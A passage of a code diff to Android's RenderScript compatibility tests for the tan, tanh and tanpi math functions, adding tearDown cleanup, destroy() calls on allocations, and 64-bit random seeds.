             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalfHalf4Half4(inEdge, out);
             verifyResultsStepHalfHalf4Half4(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalf4Half4: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalfHalf4Half4(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.java
index de7c016..2bb8d9e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTan.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestTanRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkTanFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7bb50fa4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4222fe257bb50fa4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testTanFloatFloat(inV, out);
             verifyResultsTanFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTanFloatFloat(inV, out);
             verifyResultsTanFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkTanFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x43383868l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xae98520143383868l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testTanFloat2Float2(inV, out);
             verifyResultsTanFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTanFloat2Float2(inV, out);
             verifyResultsTanFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkTanFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x39535946l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xae9a1b1c39535946l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testTanFloat3Float3(inV, out);
             verifyResultsTanFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTanFloat3Float3(inV, out);
             verifyResultsTanFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkTanFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2f6e7a24l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xae9be4372f6e7a24l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testTanFloat4Float4(inV, out);
             verifyResultsTanFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTanFloat4Float4(inV, out);
             verifyResultsTanFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkTanHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc3f260ael, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x53c4cfdec3f260ael, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testTanHalfHalf(inV, out);
             verifyResultsTanHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTanHalfHalf(inV, out);
             verifyResultsTanHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkTanHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe8d356e0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8806fd8e8d356e0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testTanHalf2Half2(inV, out);
             verifyResultsTanHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTanHalf2Half2(inV, out);
             verifyResultsTanHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkTanHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x47db1bd4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8807a7a47db1bd4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testTanHalf3Half3(inV, out);
             verifyResultsTanHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTanHalf3Half3(inV, out);
             verifyResultsTanHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkTanHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa6e2e0c8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x880851ba6e2e0c8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testTanHalf4Half4(inV, out);
             verifyResultsTanHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTanHalf4Half4(inV, out);
             verifyResultsTanHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.java
index e325ab1..fae4227 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestTanhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkTanhFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x594bc87al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xaa47c1d7594bc87al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testTanhFloatFloat(inV, out);
             verifyResultsTanhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTanhFloatFloat(inV, out);
             verifyResultsTanhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkTanhFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb8d53a0el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe021c1aab8d53a0el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testTanhFloat2Float2(inV, out);
             verifyResultsTanhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTanhFloat2Float2(inV, out);
             verifyResultsTanhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkTanhFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xaef05aecl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe0238ac5aef05aecl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testTanhFloat3Float3(inV, out);
             verifyResultsTanhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTanhFloat3Float3(inV, out);
             verifyResultsTanhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkTanhFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xa50b7bcal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe02553e0a50b7bcal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testTanhFloat4Float4(inV, out);
             verifyResultsTanhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTanhFloat4Float4(inV, out);
             verifyResultsTanhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkTanhHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbe63da34l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa72c8888be63da34l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testTanhHalfHalf(inV, out);
             verifyResultsTanhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTanhHalfHalf(inV, out);
             verifyResultsTanhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkTanhHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc66a0fb6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x70a5338ac66a0fb6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testTanhHalf2Half2(inV, out);
             verifyResultsTanhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTanhHalf2Half2(inV, out);
             verifyResultsTanhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkTanhHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x2571d4aal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x70a53e2c2571d4aal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testTanhHalf3Half3(inV, out);
             verifyResultsTanhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTanhHalf3Half3(inV, out);
             verifyResultsTanhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkTanhHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8479999el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x70a548cd8479999el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testTanhHalf4Half4(inV, out);
             verifyResultsTanhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTanhHalf4Half4(inV, out);
             verifyResultsTanhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.java
index 0702bc1..137a4b1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTanpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestTanpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkTanpiFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4820e8fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf8a6aebf04820e8fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testTanpiFloatFloat(inV, out);
             verifyResultsTanpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiFloatFloat(inV, out);
             verifyResultsTanpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkTanpiFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x53d567bbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xebbed6ee53d567bbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testTanpiFloat2Float2(inV, out);
             verifyResultsTanpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiFloat2Float2(inV, out);
             verifyResultsTanpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkTanpiFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x49f08899l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xebc0a00949f08899l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testTanpiFloat3Float3(inV, out);
             verifyResultsTanpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiFloat3Float3(inV, out);
             verifyResultsTanpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkTanpiFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x400ba977l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xebc26924400ba977l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testTanpiFloat4Float4(inV, out);
             verifyResultsTanpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiFloat4Float4(inV, out);
             verifyResultsTanpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkTanpiHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe56353f1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xae714c6e56353f1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testTanpiHalfHalf(inV, out);
             verifyResultsTanpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiHalfHalf(inV, out);
             verifyResultsTanpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkTanpiHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x71a055cbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbf04207271a055cbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testTanpiHalf2Half2(inV, out);
             verifyResultsTanpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiHalf2Half2(inV, out);
             verifyResultsTanpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkTanpiHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd0a81abfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbf042b13d0a81abfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testTanpiHalf3Half3(inV, out);
             verifyResultsTanpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiHalf3Half3(inV, out);
             verifyResultsTanpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkTanpiHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2fafdfb3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbf0435b52fafdfb3l, false);
         try {
